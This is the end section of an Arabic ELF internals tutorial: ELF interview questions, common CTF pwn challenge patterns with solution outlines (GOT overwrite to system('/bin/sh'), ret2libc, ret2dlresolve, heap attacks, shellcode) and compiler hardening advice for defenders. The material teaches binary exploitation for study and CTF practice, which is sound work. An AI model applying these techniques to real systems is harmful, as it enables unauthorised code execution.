GCC يدعم وسوم خاصة:
C⏵ ⋅ ⋅__attribute__((constructor))
void init_func() {
printf("يُنفَّذ قبل main\n");
}
__attribute__((destructor))
void cleanup() {
printf("يُنفَّذ عند exit\n");
}
هذه الدوال تُسجَّل في .init_array و .fini_array. للهاكر: الكتابة فوق إدخال هنا قبل تنفيذ .init_array = تنفيذ كود مع كامل ميزات runtime — جذاب جدًا.
Shared Libraries — كيف تعمل؟
كل مكتبة .so هي ELF بنوع ET_DYN — بالضبط مثل برنامج PIE. الفرق الوحيد: المكتبة عادةً ليس لها main، وتُصدِّر رموزًا عبر .dynsym.
عند ربط برنامج بمكتبة، ld يسجّل DT_NEEDED entry في .dynamic يحوي اسم المكتبة. ld-linux يقرأها وقت التشغيل ويحمّلها.
مزايا: تشارك في الذاكرة بين عمليات (فيزياء)، توفير مساحة قرص، تحديث مركزي للأمان (patch libc → كل البرامج محميّة).
Static Linking — نقاط القوة والضعف
الميزات: bundle قابل للنقل (يعمل على أي توزيعة)، لا اعتماد على libc الـ host، أداء أفضل قليلًا (لا dynamic dispatch).
العيوب: حجم أكبر بكثير، لا تحديث أمني تلقائي، كل بايناري يحوي نسخة libc كاملة.
من منظور الاستغلال: أسهل بكثير. كل دوال libc موجودة بعناوين ثابتة. لا حاجة لتسريب libc. ROP gadgets وفيرة. لذا تصدّ مشاريع real-world عن static linking في الإنتاج.
[16] 30+ سؤال مقابلة عن ELF
هذه أسئلة طُرحت فعلًا في مقابلات security/reverse engineering في شركات كبيرة. الإجابات الموجزة موجودة هنا، لكنّ قدرتك على التوسّع فيها هي ما يميّزك.
1. ما هي الـ Magic Number لملف ELF؟
0x7F 'E' 'L' 'F' = البايتات الأربع الأولى. تبدأ بـ 0x7F (غير قابل للطباعة) ثم النص "ELF" لتمييز سريع.
2. ما الفرق بين ET_EXEC و ET_DYN؟
ET_EXEC = برنامج تنفيذي بعناوين ثابتة (non-PIE). ET_DYN = مكتبة مشتركة أو برنامج PIE — في كلتا الحالتين، يمكن تحميله في أي عنوان بفضل العناوين النسبية.
3. ما الفرق بين Section و Segment؟
Section = منظور الرابط (وحدات منطقية صغيرة مثل .text، .data). Segment = منظور المُحمِّل (دمج أقسام بنفس الصلاحيات → mmap واحد). ملف .o له sections فقط؛ executable له الاثنين.
4. لماذا يبدأ Stack Canary بـ 0x00 على Linux 64-بت؟
لمنع تسريبه عبر دوال السلاسل (strcpy، puts، …) — البايت الـ null يوقف القراءة. هذا تصميم متعمَّد يحمي ضد leak عن طريق printf-family.
5. اشرح Lazy Binding بكلمات بسيطة.
عناوين دوال libc لا تُحلّ كلها عند بدء البرنامج. أول استدعاء لـ printf يمرّ عبر resolver في ld-linux الذي يجد العنوان ويكتبه في GOT. كل استدعاء لاحق يقفز مباشرة إلى libc. توفير وقت بدء على حساب بطء أول استدعاء.
6. ما الفرق بين Partial و Full RELRO؟
Partial: .got و .init_array readonly، لكن .got.plt يبقى writable. Full: كل شيء readonly (يتطلب -z now لإجبار immediate binding).
7. لماذا برامج PIE لها e_type = ET_DYN؟
لأنّ PIE تقنيًا "shared object قابل للتنفيذ". المُحمِّل يتعامل معه بنفس طريقة المكتبات — يختار base عشوائي ويُحمِّله. هذا ما يُفعِّل ASLR على البرنامج نفسه.
8. ما هو _start ولماذا ليس main؟
_start هو نقطة الدخول الفعلية، يأتي من crt1.o. يقوم بإعداد argc/argv/envp ويستدعي __libc_start_main الذي بدوره يستدعي main. هذا يفصل تهيئة libc عن منطق المستخدم.
9. كيف يجد ld-linux مكتبة libc.so.6؟
الترتيب: DT_RPATH/DT_RUNPATH من .dynamic، ثم LD_LIBRARY_PATH، ثم /etc/ld.so.cache (مُولَّد بـ ldconfig)، ثم /lib و /usr/lib.
10. ما الفرق بين .symtab و .dynsym؟
.symtab يحوي كل الرموز (بما فيها المحلية و static)، يُحذف عند strip. .dynsym يحوي فقط الرموز المُصدَّرة/المستوردة، يجب أن يبقى للتشغيل.
11. ما هو .bss ولماذا حجمه على القرص أصغر من حجمه في الذاكرة؟
BSS يحوي متغيرات غير مُهيَّأة. حجمه فقط مُسجَّل (لا بيانات فعلية على القرص). عند التحميل، النواة تحجز ذاكرة وتُصفّرها. لذلك FileSiz < MemSiz في PT_LOAD segment الذي يحويه.
12. ما هي حماية NX وكيف تعمل تقنيًا؟
كل صفحة ذاكرة لها bit "executable". إذا كان معطّلًا، محاولة تنفيذ كود من هذه الصفحة تُسبّب SIGSEGV. على x86_64، bit رقم 63 في page table entry (XD bit). يُتحكَّم به عبر PT_GNU_STACK flags.
13. ماذا يحدث عندما تكتب ./hello في الـ shell؟
fork() → execve("./hello", ...) → النواة تقرأ ELF header → mmap كل PT_LOAD → تحمّل ld-linux من PT_INTERP → تقفز إلى entry point of ld-linux → ld-linux يحمّل libs، يجري relocations، ينفّذ .init_array → يقفز إلى _start → main.
14. ما الفرق بين .init و .init_array؟
.init دالة واحدة تُنفَّذ قبل main (نسخة قديمة). .init_array مصفوفة من مؤشرات دوال — أكثر مرونة، يدعم تعدد constructors. الـ __attribute__((constructor)) يُسجَّل في .init_array.
15. كيف يعمل GOT overwrite؟
إذا تمكّنت من الكتابة في .got.plt (يتطلب عدم وجود Full RELRO)، يمكنك استبدال عنوان أي دالة libc بعنوان آخر — مثلًا استبدال printf بـ system. عند استدعاء البرنامج printf("/bin/sh")، يُستدعى system("/bin/sh") فعليًا.
16. ما هو ASLR وما إنتروبيا على Linux 64-بت؟
ASLR يعشوي عناوين mmap (يشمل libc)، stack، heap، و executable base (مع PIE). على x86_64 Linux، حوالي 28 بت إنتروبيا للـ mmap base (وفقًا لـ /proc/sys/vm/mmap_rnd_bits). كافية لجعل brute-force غير عملي محليًا.
17. ما هي R_X86_64_RELATIVE ولماذا تنتشر في PIE binaries؟
نوع relocation يقول: "أضف base address للقيمة الحالية." في PIE، كل مؤشر بيانات يحتاج هذا (لا توجد عناوين مطلقة). لذلك تجد آلاف الـ R_X86_64_RELATIVE في PIE binary، صفر في non-PIE.
18. كيف تُفرّق بين برنامج محذوف الرموز (stripped) وغيره؟
file binary يخبرك ("not stripped" / "stripped"). أو nm binary — إذا فشل بـ "no symbols"، فهو stripped. readelf -s لن يعرض .symtab، فقط .dynsym.
19. ما هو __libc_start_main ولماذا هو هدف شائع؟
دالة libc تستلم التحكم من _start. تستلم مؤشر إلى main كأحد args. تهيّئ stdio، تستدعي main، ثم exit. هي هدف شائع لتسريب libc base — تسريب RIP المحفوظ من stack غالبًا يُعطيك عنوانًا داخلها.
20. كيف يعمل strip؟
يحذف .symtab، .strtab، و أقسام debug (.debug_*). لا يلمس .dynsym (مطلوب للتشغيل). يُصغّر البايناري بشكل كبير لكنه يجعل العكسي أصعب.
21. ما الفرق بين Static و Dynamic linking من منظور الأمان؟
Dynamic: ثغرة libc → اصلاح واحد يحمي كل البرامج. Static: لازم إعادة compile كل برنامج. من منظور الاستغلال: static أسهل (كل دوال libc بعناوين ثابتة معروفة، gadgets أكثر).
22. ماذا يفعل LD_PRELOAD ولماذا لا يعمل على binaries setuid؟
يجبر ld-linux على تحميل مكتبة قبل أي شيء آخر — يمكن "hook" دوال libc. لا يعمل على setuid لأنّه يسمح بـ privilege escalation تافه. ld-linux يتجاهله إذا EUID != RUID.
23. ما هي .note.gnu.property ولماذا أصبحت مهمة؟
تحوي قدرات CPU المطلوبة، أبرزها X86_FEATURE_1_IBT و SHSTK. على معالجات Intel الحديثة، النواة تُفعِّل CET فقط للبرامج التي تطلبها صراحة عبر هذا القسم.
24. اشرح الـ ret2plt.
تقنية لاستدعاء دوال libc دون معرفة libc base. تستدعي الدالة عبر إدخالها في PLT — عناوين PLT ثابتة في non-PIE أو نسبية لـ base البرنامج. مفيد عندما لديك ROP لكن لم تسرّب libc بعد.
25. ما هي IFUNC؟
"Indirect Function" — دالة تختار نسخة نفسها وقت التشغيل بناءً على بيئة (CPU features). glibc تستخدمها لـ memcpy، strlen، إلخ. التطبيق عبر R_X86_64_IRELATIVE.
26. كيف يعرف ld-linux ترتيب تحميل المكتبات؟
يجري BFS على شجرة الـ DT_NEEDED. يحمّل المكتبة، ثم يقرأ DT_NEEDED الخاص بها، ثم يحمّل تلك، وهكذا. كل مكتبة تُحمَّل مرة واحدة فقط. الترتيب مهم لـ symbol resolution (الأولى تفوز).
27. ما هو _dl_runtime_resolve؟
دالة في ld-linux مسؤولة عن حلّ symbols وقت التشغيل (lazy binding). تُستدعى من PLT[0]. تأخذ link_map و reloc index، تبحث في .dynsym و hash tables، تحدّث GOT، وتقفز للدالة الحقيقية.
28. لماذا .dynamic مهم؟
"وصفة" ld-linux. يحوي كل ما يحتاجه: قائمة المكتبات (DT_NEEDED)، مواقع الجداول (DT_SYMTAB، DT_STRTAB، DT_HASH)، الـ relocations، init/fini، flags. بدونه، الـ binary لا يمكن أن يُحمَّل ديناميكيًا.
29. ما الفرق بين REL و RELA؟
REL = (offset, info) — الـ addend يُقرأ من الموقع نفسه. RELA = (offset, info, addend) — addend صريح. x86_64 تستخدم RELA حصرًا.
30. ما هو "ret2dlresolve"؟
تقنية متقدمة: بناء Elf64_Rela structure على المكدّس مع بيانات مُتحكَّم بها، ثم إجبار _dl_runtime_resolve على معالجته. يحلّ ld-linux رمزًا اخترته (مثل system) دون الحاجة لتسريب libc base.
31. كيف يعمل checksec؟
يفحص: PT_GNU_STACK flags (NX)، وجود __stack_chk_fail في .dynsym (Canary)، e_type (PIE = ET_DYN + flag معيّن)، PT_GNU_RELRO + DT_BIND_NOW (Full RELRO)، وجود __*_chk functions (Fortify).
32. ما هي مكتبة linux-vdso.so.1؟
"Virtual Dynamic Shared Object" — مكتبة افتراضية يحقنها kernel في كل عملية. تحوي نسخ سريعة من syscalls معيّنة (gettimeofday، clock_gettime) — تنفّذ من user space دون transition إلى kernel.
[17] أنماط أسئلة CTF الشائعة
إذا تابعت CTFs لفترة، ستلاحظ أنّ تحديات pwn تتكرّر بأنماط محدّدة. إليك أكثرها شيوعًا مع استراتيجية حلّ سريعة:
النمط 1 — Stack BOF بدون حمايات
البفر بدون canary، بدون PIE، NX مُفعَّل. هناك دالة win() في البرنامج لا تُستدعى. الحل: overflow → اكتب RIP بعنوان win.
النمط 2 — Format string Leak ثم BOF
طبقتان من الثغرات. الحل: استخدم format string لتسريب canary و/أو libc base أو program base، ثم BOF لـ ROP.
النمط 3 — GOT Overwrite
Partial RELRO + format string لها %n primitive. الحل: اكتب على printf@got.plt عنوان system. في المرة التالية يستدعي البرنامج printf("/bin/sh")، يفتح shell.
النمط 4 — ret2libc Classic
No PIE، Canary غير موجود. الحل: ROP بسيطة: leak (puts@got via puts@plt) → احسب libc → ROP إلى system("/bin/sh").
النمط 5 — Heap Exploitation (House of *)
لا BOF، فقط malloc/free مع UAF أو double-free. الحل: تقنيات heap (tcache poisoning، fastbin dup، unsorted bin attack…). فهم .got و __free_hook و __malloc_hook ضروري.
النمط 6 — Shellcode على المكدّس (RWX!)
قديم لكنه يظهر أحيانًا. readelf -lW يكشف GNU_STACK بـ RWX. الحل: اكتب shellcode في buffer، أعد RIP إليه. مفيد لـ beginners.
النمط 7 — One Gadget
Full RELRO + PIE + canary، لكن البرنامج يستدعي دالة من libc بعد leak. الحل: one_gadget libc.so.6 → جرّب الـ gadgets — كل واحد له constraints (RAX, RCX, RBP …). إذا تطابقت السياق، يُفتح shell بقفزة واحدة.
النمط 8 — ret2dlresolve
No PIE + Partial RELRO + لا تسريب libc ممكن. الحل: بناء Elf64_Rela structure على .bss، إجبار ld على حلّ system.
النمط 9 — Sandboxed (Seccomp)
البرنامج يفعّل seccomp يحظر execve. الحل: لا shell، فقط ROP لقراءة flag مباشرة (open + read + write = ORW chain).
[18] الخلاصة — ما يجب أن تأخذه معك
المفاتيح الجوهرية
- ELF يحوي عرضين: Sections للرابط، Segments للمُحمِّل. هذا التقسيم يفسّر معظم تعقيداته.
- الربط الديناميكي يدور كله حول PLT/GOT — PLT يقفز إلى GOT، GOT يحوي العناوين الحقيقية، Lazy Binding يحلّ العناوين عند أول استدعاء.
- RELRO Full يقتل GOT overwrite الكلاسيكي، لكنّ هجمات مثل
__free_hookabuse و ret2dlresolve لا تزال ممكنة. - ASLR + PIE = تحتاج leak دائمًا للاستغلال الحديث. تعلّم تقنيات تسريب العناوين كأولوية.
- CET (Shadow Stack + IBT) هو مستقبل الحماية على x86_64 — تعلّمه مبكرًا.
أفضل الممارسات للمدافع
- دائمًا compile مع:
-fstack-protector-strong -D_FORTIFY_SOURCE=2 -fPIE -pie -Wl,-z,now -Wl,-z,relro. - فعّل CET إذا كان CPU يدعمها:
-fcf-protection=full. - تجنّب
strcpy،gets،sprintf،scanf("%s"). استخدم النسخ الآمنة:strncpy_s،fgets،snprintf. - راجع كل استدعاء
printfمع متغير user-controlled — لا تمرّر بيانات مستخدم كصيغة! - استخدم
stripعلى الـ production binaries (لا يمنع reversing لكنه يصعّبه).
أفضل الممارسات للمهاجم (الأخلاقي)
- دائمًا ابدأ بـ
checksec— الحمايات تُملي عليك الاستراتيجية. - افهم بنية البفرات قبل استغلالها. ارسم layout المكدّس على ورقة.
- عند فشل ROP، السبب الأشهر = stack alignment. أضف
ret gadget. - اقرأ سورس ld-linux من glibc — معرفته تفتح آفاقًا جديدة.
- مارس على HackTheBox، pwn.college، LiveOverflow، و pwnable.kr.
الخطوات التالية
إذا أردت التعمّق أكثر:
- اقرأ "Linkers and Loaders" لـ John Levine — الكتاب المرجعي.
- اقرأ "Practical Binary Analysis" لـ Dennis Andriesse.
- تابع كتابات Ryan "elfmaster" O'Neill عن ELF internals.
- طبّق على CTF binaries — لا شيء يعلّمك مثل البايناريات الحقيقية.
- اكتب tool صغير: parse ELF header بـ C من الصفر. ستفهم كل بايت.
ELF مو مجرد تنسيق، يا الغالي — هو عقد بين برنامجك وكل أداة بتتعامل معاه. لمّا تفهمه فهم عميق، هذا هو اللي بيفرّق بين العكّاس اللي "يستخدم Ghidra" والعكّاس اللي "يفهم وش يصير فعلًا". أول ما تستوعب نموذج الـ Section/Segment، الـ PLT/GOT، والـ Relocations — بتلاقي إنّ كل أداة، كل تقنية استغلال، كل خدعة malware — كلها وجوه لنفس النموذج. هذا الفرق بين التقني والفنّان. بس صدق، فيه فرق.
اقرأ. جرّب. اكسر. ابنِ. كرّر. ولا تيأس.